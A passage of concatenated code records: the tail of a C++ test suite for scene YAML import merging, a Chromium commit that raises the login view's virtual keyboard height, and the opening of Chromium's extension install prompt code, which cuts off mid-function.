CHECK(root[\"fonts\"][\"fontB\"][1][\"url\"].Scalar() == \"\/root\/imports\/fonts\/1.ttf\");\n\n \/\/ We don't explicitly check that import URLs are resolved correctly because if they were not,\n \/\/ the scenes wouldn't be loaded and merged; i.e. we already test it implicitly.\n}\n\nTEST_CASE(\"References to globals are not treated like URLs during importing\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/globals.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n \/\/ Check that font global references are preserved.\n CHECK(root[\"fonts\"][\"aFont\"][\"url\"].Scalar() == \"global.fontUrl\");\n\n \/\/ Check that data source global references are preserved.\n CHECK(root[\"sources\"][\"aSource\"][\"url\"].Scalar() == \"global.sourceUrl\");\n\n \/\/ Check that texture global references are preserved.\n CHECK(root[\"textures\"][\"aTexture\"][\"url\"].Scalar() == \"global.textureUrl\");\n CHECK(root[\"styles\"][\"aStyle\"][\"texture\"].Scalar() == \"global.textureUrl\");\n CHECK(root[\"styles\"][\"aStyle\"][\"shaders\"][\"uniforms\"][\"aUniform\"].Scalar() == \"global.textureUrl\");\n}\n\nTEST_CASE(\"Map overwrites sequence\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = getPlatformWithImportFiles();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [roads.yaml, roads-labels.yaml]\n )END\");\n\n platform->putMockUrlContents(\"\/roads.yaml\", R\"END(\n filter:\n - kind: highway\n - $zoom: { min: 8 }\n )END\");\n\n platform->putMockUrlContents(\"\/roads-labels.yaml\", R\"END(\n filter: { kind: highway }\n )END\");\n\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/base.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"filter\"].IsMap());\n CHECK(root[\"filter\"].size() == 1);\n CHECK(root[\"filter\"][\"kind\"].Scalar() == \"highway\");\n}\n\nTEST_CASE(\"Sequence overwrites map\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = std::make_shared<MockPlatform>();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [map.yaml, sequence.yaml]\n )END\");\n platform->putMockUrlContents(\"\/map.yaml\", R\"END(\n a: { b: c }\n )END\");\n\n platform->putMockUrlContents(\"\/sequence.yaml\", R\"END(\n a: [ b, c]\n )END\");\n\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/base.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"a\"].IsSequence());\n CHECK(root[\"a\"].size() == 2);\n}\n\nTEST_CASE(\"Scalar and null overwrite correctly\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = std::make_shared<MockPlatform>();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [scalar.yaml, null.yaml]\n scalar_at_end: scalar\n null_at_end: null\n )END\");\n platform->putMockUrlContents(\"\/scalar.yaml\", R\"END(\n null_at_end: scalar\n )END\");\n\n platform->putMockUrlContents(\"\/null.yaml\", R\"END(\n scalar_at_end: null\n )END\");\n\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/base.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"scalar_at_end\"].Scalar() == \"scalar\");\n CHECK(root[\"null_at_end\"].IsNull());\n}\n\nTEST_CASE(\"Scene load from source string\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = std::make_shared<MockPlatform>();\n std::unordered_map<Url, std::string> testScenes;\n platform->putMockUrlContents(\"\/resource_root\/scalar.yaml\", R\"END(\n null_at_end: scalar\n )END\");\n platform->putMockUrlContents(\"\/resource_root\/null.yaml\", R\"END(\n scalar_at_end: null\n )END\");\n\n std::string base_yaml = R\"END(\n import: [scalar.yaml, null.yaml]\n scalar_at_end: scalar\n null_at_end: null\n )END\";\n\n auto scene = std::make_shared<Scene>(platform, base_yaml, \"\/resource_root\/\");\n\n Importer importer(scene);\n \n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"scalar_at_end\"].Scalar() == \"scalar\");\n CHECK(root[\"null_at_end\"].IsNull());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/login\/webui_login_view.h\"\n\n#include <vector>\n\n#include \"base\/logging.h\"\n#include \"chrome\/browser\/chromeos\/login\/login_utils.h\"\n#include \"chrome\/browser\/chromeos\/login\/proxy_settings_dialog.h\"\n#include \"chrome\/browser\/chromeos\/status\/clock_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/input_method_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/network_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/status_area_view.h\"\n#include \"chrome\/browser\/chromeos\/wm_ipc.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/renderer_host\/render_widget_host_view_views.h\"\n#include \"chrome\/browser\/ui\/touch\/frame\/keyboard_container_view.h\"\n#include \"chrome\/browser\/ui\/views\/dom_view.h\"\n#include \"chrome\/browser\/ui\/views\/tab_contents\/tab_contents_view_touch.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/gfx\/transform.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/widget\/widget.h\"\n\n\/\/ TODO(rharrison): Modify this class to support both touch and non-touch\n\nnamespace {\n\nconst int kKeyboardHeight = 300;\nconst int kKeyboardSlideDuration = 500; \/\/ In milliseconds\n\nPropertyAccessor<bool>* GetFocusedStateAccessor() {\n static PropertyAccessor<bool> state;\n return &state;\n}\n\nbool TabContentsHasFocus(const TabContents* contents) {\n views::View* view = static_cast<TabContentsViewTouch*>(contents->view());\n return view->Contains(view->GetFocusManager()->GetFocusedView());\n}\n\n} \/\/ namespace\n\nnamespace chromeos {\n\n\/\/ static\nconst char WebUILoginView::kViewClassName[] =\n \"browser\/chromeos\/login\/WebUILoginView\";\n\n\/\/ WebUILoginView public: ------------------------------------------------------\n\nWebUILoginView::WebUILoginView()\n : profile_(NULL),\n status_area_(NULL),\n webui_login_(NULL),\n keyboard_showing_(false),\n focus_listener_added_(false),\n keyboard_(NULL) {\n}\n\nvoid WebUILoginView::Init(const GURL& login_url) {\n CHECK(!login_url.is_empty());\n\n profile_ = ProfileManager::GetDefaultProfile();\n\n webui_login_ = new DOMView();\n AddChildView(webui_login_);\n webui_login_->Init(profile_, NULL);\n webui_login_->LoadURL(login_url);\n webui_login_->SetVisible(true);\n\n InitStatusArea();\n\n registrar_.Add(this,\n NotificationType::FOCUS_CHANGED_IN_PAGE,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::TAB_CONTENTS_DESTROYED,\n NotificationService::AllSources());\n}\n\n\/\/ static\nviews::Widget* WebUILoginView::CreateWindowContainingView(\n const gfx::Rect& bounds,\n const GURL& login_url,\n WebUILoginView** view) {\n views::Widget* window = new views::Widget;\n views::Widget::InitParams params(views::Widget::InitParams::TYPE_WINDOW);\n params.bounds = bounds;\n window->Init(params);\n *view = new WebUILoginView();\n (*view)->Init(login_url);\n\n window->SetContentsView(*view);\n\n (*view)->UpdateWindowType();\n\n return window;\n}\n\nstd::string WebUILoginView::GetClassName() const {\n return kViewClassName;\n}\n\ngfx::NativeWindow WebUILoginView::GetNativeWindow() const {\n return GetWidget()->GetNativeWindow();\n}\n\nvoid WebUILoginView::FocusWillChange(views::View* focused_before,\n views::View* focused_now) {\n VirtualKeyboardType before = DecideKeyboardStateForView(focused_before);\n VirtualKeyboardType now = DecideKeyboardStateForView(focused_now);\n if (before != now) {\n \/\/ TODO(varunjain): support other types of keyboard.\n UpdateKeyboardAndLayout(now == GENERIC);\n }\n}\n\n\/\/ WebUILoginView protected: ---------------------------------------------------\n\nvoid WebUILoginView::Layout() {\n const int kCornerPadding = 5;\n gfx::Size status_area_size = status_area_->GetPreferredSize();\n status_area_->SetBounds(\n width() - status_area_size.width() - kCornerPadding,\n kCornerPadding,\n status_area_size.width(),\n status_area_size.height());\n\n if (webui_login_)\n webui_login_->SetBoundsRect(bounds());\n\n \/\/ TODO(rharrison): Hide touch specific code behind TOUCH_UI defines\n if (!keyboard_)\n return;\n\n keyboard_->SetVisible(keyboard_showing_);\n gfx::Rect keyboard_bounds = bounds();\n keyboard_bounds.set_y(keyboard_bounds.height() - kKeyboardHeight);\n keyboard_bounds.set_height(kKeyboardHeight);\n keyboard_->SetBoundsRect(keyboard_bounds);\n}\n\nvoid WebUILoginView::ChildPreferredSizeChanged(View* child) {\n Layout();\n SchedulePaint();\n}\n\nProfile* WebUILoginView::GetProfile() const {\n return NULL;\n}\n\nvoid WebUILoginView::ExecuteBrowserCommand(int id) const {\n}\n\nbool WebUILoginView::ShouldOpenButtonOptions(\n const views::View* button_view) const {\n if (button_view == status_area_->network_view())\n return true;\n\n if (button_view == status_area_->clock_view() ||\n button_view == status_area_->input_method_view())\n return false;\n\n return true;\n}\n\nvoid WebUILoginView::OpenButtonOptions(const views::View* button_view) {\n if (button_view == status_area_->network_view()) {\n if (proxy_settings_dialog_.get() == NULL) {\n proxy_settings_dialog_.reset(new ProxySettingsDialog(\n this, GetNativeWindow()));\n }\n proxy_settings_dialog_->Show();\n }\n}\n\nStatusAreaHost::ScreenMode WebUILoginView::GetScreenMode() const {\n return kLoginMode;\n}\n\nStatusAreaHost::TextStyle WebUILoginView::GetTextStyle() const {\n return kWhitePlain;\n}\n\nvoid WebUILoginView::OnDialogClosed() {\n}\n\nvoid WebUILoginView::OnLocaleChanged() {\n \/\/ Proxy settings dialog contains localized strings.\n proxy_settings_dialog_.reset();\n SchedulePaint();\n}\n\n\/\/ WebUILoginView private: -----------------------------------------------------\n\nvoid WebUILoginView::InitStatusArea() {\n DCHECK(status_area_ == NULL);\n status_area_ = new StatusAreaView(this);\n status_area_->Init();\n AddChildView(status_area_);\n}\n\nvoid WebUILoginView::UpdateWindowType() {\n std::vector<int> params;\n WmIpc::instance()->SetWindowType(\n GTK_WIDGET(GetNativeWindow()),\n WM_IPC_WINDOW_LOGIN_WEBUI,\n ¶ms);\n}\n\nvoid WebUILoginView::InitVirtualKeyboard() {\n if (keyboard_)\n return;\n\n keyboard_ = new KeyboardContainerView(profile_, NULL);\n keyboard_->SetVisible(false);\n AddChildView(keyboard_);\n}\n\nvoid WebUILoginView::UpdateKeyboardAndLayout(bool should_show_keyboard) {\n if (should_show_keyboard)\n InitVirtualKeyboard();\n\n if (should_show_keyboard == keyboard_showing_)\n return;\n\n DCHECK(keyboard_);\n\n keyboard_showing_ = should_show_keyboard;\n Layout();\n}\n\nWebUILoginView::VirtualKeyboardType\n WebUILoginView::DecideKeyboardStateForView(views::View* view) {\n if (!view)\n return NONE;\n\n std::string cname = view->GetClassName();\n if (cname == views::Textfield::kViewClassName) {\n return GENERIC;\n } else if (cname == RenderWidgetHostViewViews::kViewClassName) {\n TabContents* contents = webui_login_->tab_contents();\n bool* editable = contents ? GetFocusedStateAccessor()->GetProperty(\n contents->property_bag()) : NULL;\n if (editable && *editable)\n return GENERIC;\n }\n return NONE;\n}\n\nvoid WebUILoginView::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n if (type == NotificationType::FOCUS_CHANGED_IN_PAGE) {\n \/\/ Only modify the keyboard state if the currently active tab sent the\n \/\/ notification.\n const TabContents* current_tab = webui_login_->tab_contents();\n TabContents* source_tab = Source<TabContents>(source).ptr();\n const bool editable = *Details<const bool>(details).ptr();\n\n if (current_tab == source_tab && TabContentsHasFocus(source_tab))\n UpdateKeyboardAndLayout(editable);\n\n \/\/ Save the state of the focused field so that the keyboard visibility\n \/\/ can be determined after tab switching.\n GetFocusedStateAccessor()->SetProperty(\n source_tab->property_bag(), editable);\n } else if (type == NotificationType::TAB_CONTENTS_DESTROYED) {\n GetFocusedStateAccessor()->DeleteProperty(\n Source<TabContents>(source).ptr()->property_bag());\n }\n}\n\n} \/\/ namespace chromeos\n<commit_msg>Changed kKeyboardHeight in WebUILoginView to reflect change in TouchBrowserFrameView<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/login\/webui_login_view.h\"\n\n#include <vector>\n\n#include \"base\/logging.h\"\n#include \"chrome\/browser\/chromeos\/login\/login_utils.h\"\n#include \"chrome\/browser\/chromeos\/login\/proxy_settings_dialog.h\"\n#include \"chrome\/browser\/chromeos\/status\/clock_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/input_method_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/network_menu_button.h\"\n#include \"chrome\/browser\/chromeos\/status\/status_area_view.h\"\n#include \"chrome\/browser\/chromeos\/wm_ipc.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/renderer_host\/render_widget_host_view_views.h\"\n#include \"chrome\/browser\/ui\/touch\/frame\/keyboard_container_view.h\"\n#include \"chrome\/browser\/ui\/views\/dom_view.h\"\n#include \"chrome\/browser\/ui\/views\/tab_contents\/tab_contents_view_touch.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"ui\/base\/x\/x11_util.h\"\n#include \"ui\/gfx\/transform.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/widget\/widget.h\"\n\n\/\/ TODO(rharrison): Modify this class to support both touch and non-touch\n\nnamespace {\n\nconst int kKeyboardHeight = 360;\nconst int kKeyboardSlideDuration = 500; \/\/ In milliseconds\n\nPropertyAccessor<bool>* GetFocusedStateAccessor() {\n static PropertyAccessor<bool> state;\n return &state;\n}\n\nbool TabContentsHasFocus(const TabContents* contents) {\n views::View* view = static_cast<TabContentsViewTouch*>(contents->view());\n return view->Contains(view->GetFocusManager()->GetFocusedView());\n}\n\n} \/\/ namespace\n\nnamespace chromeos {\n\n\/\/ static\nconst char WebUILoginView::kViewClassName[] =\n \"browser\/chromeos\/login\/WebUILoginView\";\n\n\/\/ WebUILoginView public: ------------------------------------------------------\n\nWebUILoginView::WebUILoginView()\n : profile_(NULL),\n status_area_(NULL),\n webui_login_(NULL),\n keyboard_showing_(false),\n focus_listener_added_(false),\n keyboard_(NULL) {\n}\n\nvoid WebUILoginView::Init(const GURL& login_url) {\n CHECK(!login_url.is_empty());\n\n profile_ = ProfileManager::GetDefaultProfile();\n\n webui_login_ = new DOMView();\n AddChildView(webui_login_);\n webui_login_->Init(profile_, NULL);\n webui_login_->LoadURL(login_url);\n webui_login_->SetVisible(true);\n\n InitStatusArea();\n\n registrar_.Add(this,\n NotificationType::FOCUS_CHANGED_IN_PAGE,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::TAB_CONTENTS_DESTROYED,\n NotificationService::AllSources());\n}\n\n\/\/ static\nviews::Widget* WebUILoginView::CreateWindowContainingView(\n const gfx::Rect& bounds,\n const GURL& login_url,\n WebUILoginView** view) {\n views::Widget* window = new views::Widget;\n views::Widget::InitParams params(views::Widget::InitParams::TYPE_WINDOW);\n params.bounds = bounds;\n window->Init(params);\n *view = new WebUILoginView();\n (*view)->Init(login_url);\n\n window->SetContentsView(*view);\n\n (*view)->UpdateWindowType();\n\n return window;\n}\n\nstd::string WebUILoginView::GetClassName() const {\n return kViewClassName;\n}\n\ngfx::NativeWindow WebUILoginView::GetNativeWindow() const {\n return GetWidget()->GetNativeWindow();\n}\n\nvoid WebUILoginView::FocusWillChange(views::View* focused_before,\n views::View* focused_now) {\n VirtualKeyboardType before = DecideKeyboardStateForView(focused_before);\n VirtualKeyboardType now = DecideKeyboardStateForView(focused_now);\n if (before != now) {\n \/\/ TODO(varunjain): support other types of keyboard.\n UpdateKeyboardAndLayout(now == GENERIC);\n }\n}\n\n\/\/ WebUILoginView protected: ---------------------------------------------------\n\nvoid WebUILoginView::Layout() {\n const int kCornerPadding = 5;\n gfx::Size status_area_size = status_area_->GetPreferredSize();\n status_area_->SetBounds(\n width() - status_area_size.width() - kCornerPadding,\n kCornerPadding,\n status_area_size.width(),\n status_area_size.height());\n\n if (webui_login_)\n webui_login_->SetBoundsRect(bounds());\n\n \/\/ TODO(rharrison): Hide touch specific code behind TOUCH_UI defines\n if (!keyboard_)\n return;\n\n keyboard_->SetVisible(keyboard_showing_);\n gfx::Rect keyboard_bounds = bounds();\n keyboard_bounds.set_y(keyboard_bounds.height() - kKeyboardHeight);\n keyboard_bounds.set_height(kKeyboardHeight);\n keyboard_->SetBoundsRect(keyboard_bounds);\n}\n\nvoid WebUILoginView::ChildPreferredSizeChanged(View* child) {\n Layout();\n SchedulePaint();\n}\n\nProfile* WebUILoginView::GetProfile() const {\n return NULL;\n}\n\nvoid WebUILoginView::ExecuteBrowserCommand(int id) const {\n}\n\nbool WebUILoginView::ShouldOpenButtonOptions(\n const views::View* button_view) const {\n if (button_view == status_area_->network_view())\n return true;\n\n if (button_view == status_area_->clock_view() ||\n button_view == status_area_->input_method_view())\n return false;\n\n return true;\n}\n\nvoid WebUILoginView::OpenButtonOptions(const views::View* button_view) {\n if (button_view == status_area_->network_view()) {\n if (proxy_settings_dialog_.get() == NULL) {\n proxy_settings_dialog_.reset(new ProxySettingsDialog(\n this, GetNativeWindow()));\n }\n proxy_settings_dialog_->Show();\n }\n}\n\nStatusAreaHost::ScreenMode WebUILoginView::GetScreenMode() const {\n return kLoginMode;\n}\n\nStatusAreaHost::TextStyle WebUILoginView::GetTextStyle() const {\n return kWhitePlain;\n}\n\nvoid WebUILoginView::OnDialogClosed() {\n}\n\nvoid WebUILoginView::OnLocaleChanged() {\n \/\/ Proxy settings dialog contains localized strings.\n proxy_settings_dialog_.reset();\n SchedulePaint();\n}\n\n\/\/ WebUILoginView private: -----------------------------------------------------\n\nvoid WebUILoginView::InitStatusArea() {\n DCHECK(status_area_ == NULL);\n status_area_ = new StatusAreaView(this);\n status_area_->Init();\n AddChildView(status_area_);\n}\n\nvoid WebUILoginView::UpdateWindowType() {\n std::vector<int> params;\n WmIpc::instance()->SetWindowType(\n GTK_WIDGET(GetNativeWindow()),\n WM_IPC_WINDOW_LOGIN_WEBUI,\n ¶ms);\n}\n\nvoid WebUILoginView::InitVirtualKeyboard() {\n if (keyboard_)\n return;\n\n keyboard_ = new KeyboardContainerView(profile_, NULL);\n keyboard_->SetVisible(false);\n AddChildView(keyboard_);\n}\n\nvoid WebUILoginView::UpdateKeyboardAndLayout(bool should_show_keyboard) {\n if (should_show_keyboard)\n InitVirtualKeyboard();\n\n if (should_show_keyboard == keyboard_showing_)\n return;\n\n DCHECK(keyboard_);\n\n keyboard_showing_ = should_show_keyboard;\n Layout();\n}\n\nWebUILoginView::VirtualKeyboardType\n WebUILoginView::DecideKeyboardStateForView(views::View* view) {\n if (!view)\n return NONE;\n\n std::string cname = view->GetClassName();\n if (cname == views::Textfield::kViewClassName) {\n return GENERIC;\n } else if (cname == RenderWidgetHostViewViews::kViewClassName) {\n TabContents* contents = webui_login_->tab_contents();\n bool* editable = contents ? GetFocusedStateAccessor()->GetProperty(\n contents->property_bag()) : NULL;\n if (editable && *editable)\n return GENERIC;\n }\n return NONE;\n}\n\nvoid WebUILoginView::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n if (type == NotificationType::FOCUS_CHANGED_IN_PAGE) {\n \/\/ Only modify the keyboard state if the currently active tab sent the\n \/\/ notification.\n const TabContents* current_tab = webui_login_->tab_contents();\n TabContents* source_tab = Source<TabContents>(source).ptr();\n const bool editable = *Details<const bool>(details).ptr();\n\n if (current_tab == source_tab && TabContentsHasFocus(source_tab))\n UpdateKeyboardAndLayout(editable);\n\n \/\/ Save the state of the focused field so that the keyboard visibility\n \/\/ can be determined after tab switching.\n GetFocusedStateAccessor()->SetProperty(\n source_tab->property_bag(), editable);\n } else if (type == NotificationType::TAB_CONTENTS_DESTROYED) {\n GetFocusedStateAccessor()->DeleteProperty(\n Source<TabContents>(source).ptr()->property_bag());\n }\n}\n\n} \/\/ namespace chromeos\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/extension_install_ui.h\"\n\n#include <map>\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/file_util.h\"\n#include \"base\/rand_util.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_list.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/theme_installed_infobar_delegate.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#if defined(TOOLKIT_VIEWS) \/\/ TODO(port)\n#include \"chrome\/browser\/views\/extensions\/extension_installed_bubble.h\"\n#elif defined(TOOLKIT_GTK)\n#include \"chrome\/browser\/gtk\/extension_installed_bubble_gtk.h\"\n#endif\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/platform_util.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/browser_resources.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n\n#if defined(TOOLKIT_GTK)\n#include \"chrome\/browser\/extensions\/gtk_theme_installed_infobar_delegate.h\"\n#include \"chrome\/browser\/gtk\/gtk_theme_provider.h\"\n#endif\n\n#if defined(OS_MACOSX)\n#include \"chrome\/browser\/cocoa\/extension_installed_bubble_bridge.h\"\n#endif\n\n\/\/ static\nconst int ExtensionInstallUI::kTitleIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_INSTALL_PROMPT_TITLE,\n IDS_EXTENSION_UNINSTALL_PROMPT_TITLE\n};\n\/\/ static\nconst int ExtensionInstallUI::kHeadingIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_INSTALL_PROMPT_HEADING,\n IDS_EXTENSION_UNINSTALL_PROMPT_HEADING\n};\n\/\/ static\nconst int ExtensionInstallUI::kButtonIds[NUM_PROMPT_TYPES] = {\n IDS_EXTENSION_PROMPT_INSTALL_BUTTON,\n IDS_EXTENSION_PROMPT_UNINSTALL_BUTTON\n};\n\nnamespace {\n\n\/\/ We also show the severe warning if the extension has access to any file:\/\/\n\/\/ URLs. They aren't *quite* as dangerous as full access to the system via\n\/\/ NPAPI, but pretty dang close. Content scripts are currently the only way\n\/\/ that extension can get access to file:\/\/ URLs.\nstatic bool ExtensionHasFileAccess(Extension* extension) {\n for (UserScriptList::const_iterator script =\n extension->content_scripts().begin();\n script != extension->content_scripts().end();\n ++script) {\n for (UserScript::PatternList::const_iterator pattern =\n script->url_patterns().begin();\n pattern != script->url_patterns().end();\n ++pattern) {\n if (pattern->scheme() == chrome::kFileScheme)\n return true;\n }\n }\n\n return false;\n}\n\nstatic void GetV2Warnings(Extension* extension,\n std::vector<string16>* warnings) {\n if (!extension->plugins().empty() || ExtensionHasFileAccess(extension)) {\n \/\/ TODO(aa): This one is a bit awkward. Should we have a separate\n \/\/ presentation for this case?\n warnings->push_back(\n l10n_util::GetStringUTF16(IDS_EXTENSION_PROMPT2_WARNING_FULL_ACCESS));\n return;\n }\n\n if (extension->HasAccessToAllHosts()) {\n warnings->push_back(\n l10n_util::GetStringUTF16(IDS_EXTENSION_PROMPT2_WARNING_ALL_HOSTS));\n } else {\n std::set<std::string> hosts = extension->GetEffectiveHostPermissions();\n if (hosts.size() == 1) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_1_HOST,\n UTF8ToUTF16(*hosts.begin())));\n } else if (hosts.size() == 2) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_2_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin()))));\n } else if (hosts.size() == 3) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(IDS_EXTENSION_PROMPT2_WARNING_3_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin())),\n UTF8ToUTF16(*(++++hosts.begin()))));\n } else if (hosts.size() >= 4) {\n warnings->push_back(\n l10n_util::GetStringFUTF16(\n IDS_EXTENSION_PROMPT2_WARNING_4_OR_MORE_HOSTS,\n UTF8ToUTF16(*hosts.begin()),\n UTF8ToUTF16(*(++hosts.begin())),\n IntToString16(hosts.size() - 2)));\n }\n }\n\n if (extension->HasEffectiveBrowsingHistoryPermission()) {\n warnings->push_back(\n l10n_util::GetStringUTF16(\n IDS_EXTENSION_PROMPT2_WARNING_BROWSING_HISTORY));\n }\n\n \/\/ TODO(aa): Geolocation, camera\/mic, what else?\n}\n\n} \/\/ namespace\n\nExtensionInstallUI::ExtensionInstallUI(Profile* profile)\n : profile_(profile),\n ui_loop_(MessageLoop::current()),\n previous_use_system_theme_(false),\n extension_(NULL),\n delegate_(NULL),\n prompt_type_(NUM_PROMPT_TYPES),\n ALLOW_THIS_IN_INITIALIZER_LIST(tracker_(this)) {}\n\nvoid ExtensionInstallUI::ConfirmInstall(Delegate* delegate,\n Extension* extension) {\n DCHECK(ui_loop_ == MessageLoop::current());\n extension_ = extension;\n delegate_ = delegate;\n\n \/\/ We special-case themes to not show any confirm UI. Instead they are\n \/\/ immediately installed, and then we show an infobar (see OnInstallSuccess)\n \/\/ to allow the user to revert if they don't like it.\n if (extension->IsTheme()) {\n \/\/ Remember the current theme in case the user pressed undo.\n Extension* previous_theme = profile_->GetTheme();\n if (previous_theme)\n previous_theme_id_ = previous_theme->id();\n\n#if defined(TOOLKIT_GTK)\n \/\/ On Linux, we also need to take the user's system settings into account\n \/\/ to undo theme installation.\n previous_use_system_theme_ =\n GtkThemeProvider::GetFrom(profile_)->UseGtkTheme();\n#else\n DCHECK(!previous_use_system_theme_);\n#endif\n\n delegate->InstallUIProceed(false);\n return;\n }\n\n ShowConfirmation(INSTALL_PROMPT);\n}\n\nvoid ExtensionInstallUI::ConfirmUninstall(Delegate* delegate,\n Extension* extension) {\n DCHECK(ui_loop_ == MessageLoop::current());\n extension_ = extension;\n delegate_ = delegate;\n\n ShowConfirmation(UNINSTALL_PROMPT);\n}\n\nvoid ExtensionInstallUI::OnInstallSuccess(Extension* extension) {\n if (extension->IsTheme()) {\n ShowThemeInfoBar(previous_theme_id_, previous_use_system_theme_,\n extension, profile_);\n return;\n }\n\n \/\/ GetLastActiveWithProfile will fail on the build bots. This needs to be\n \/\/ implemented differently if any test is created which depends on\n \/\/ ExtensionInstalledBubble showing.\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n\n#if defined(TOOLKIT_VIEWS)\n if (!browser)\n return;\n\n ExtensionInstalledBubble::Show(extension, browser, icon_);\n#elif defined(OS_MACOSX)\n DCHECK(browser);\n \/\/ Note that browser actions don't appear in incognito mode initially,\n \/\/ so fall back to the generic case.\n if ((extension->browser_action() && !browser->profile()->IsOffTheRecord()) ||\n (extension->page_action() &&\n !extension->page_action()->default_icon_path().empty())) {\n ExtensionInstalledBubbleCocoa::ShowExtensionInstalledBubble(\n browser->window()->GetNativeHandle(),\n extension, browser, icon_);\n } else {\n \/\/ If the extension is of type GENERIC, meaning it doesn't have a UI\n \/\/ surface to display for this window, launch infobar instead of popup\n \/\/ bubble, because we have no guaranteed wrench menu button to point to.\n ShowGenericExtensionInstalledInfoBar(extension);\n }\n#elif defined(TOOLKIT_GTK)\n if (!browser)\n return;\n ExtensionInstalledBubbleGtk::Show(extension, browser, icon_);\n#endif \/\/ TOOLKIT_VIEWS\n}\n\nvoid ExtensionInstallUI::OnInstallFailure(const std::string& error) {\n DCHECK(ui_loop_ == MessageLoop::current());\n\n Browser* browser = BrowserList::GetLastActiveWithProfile(profile_);\n platform_util::SimpleErrorBox(\n browser ? browser->window()->GetNativeHandle() : NULL,\n l10n_util::GetStringUTF16(IDS_EXTENSION_INSTALL_FAILURE_TITLE),\n UTF8ToUTF16(error));\n}\n\nvoid ExtensionInstallUI::OnOverinstallAttempted(Extension* extension) {\n ShowThemeInfoBar(previous_theme_id_, previous_use_system_theme_,\n extension, profile_);\n}\n\nvoid ExtensionInstallUI::OnImageLoaded(\n SkBitmap* image, ExtensionResource resource, int index) {\n if (image)\n icon_ = *image;\n else\n icon_ = SkBitmap();\n if (icon_.empty()) {\n icon_ = *ResourceBundle::GetSharedInstance().GetBitmapNamed(\n IDR_EXTENSION_DEFAULT_ICON);\n }\n\n switch (prompt_type_) {\n case INSTALL_PROMPT: {\n NotificationService* service = NotificationService::current();\n service->Notify(NotificationType::EXTENSION_WILL_SHOW_CONFIRM_DIALOG,\n Source<ExtensionInstallUI>(this),\n NotificationService::NoDetails());\n\n std::vector<string16> warnings;\n GetV2Warnings(extension_, &warnings);\n ShowExtensionInstallUIPrompt2Impl(\n profile_, delegate_, extension_, &icon_, warnings);\n break;\n }\n case UNINSTALL_PROMPT: {\n string16 message =\n 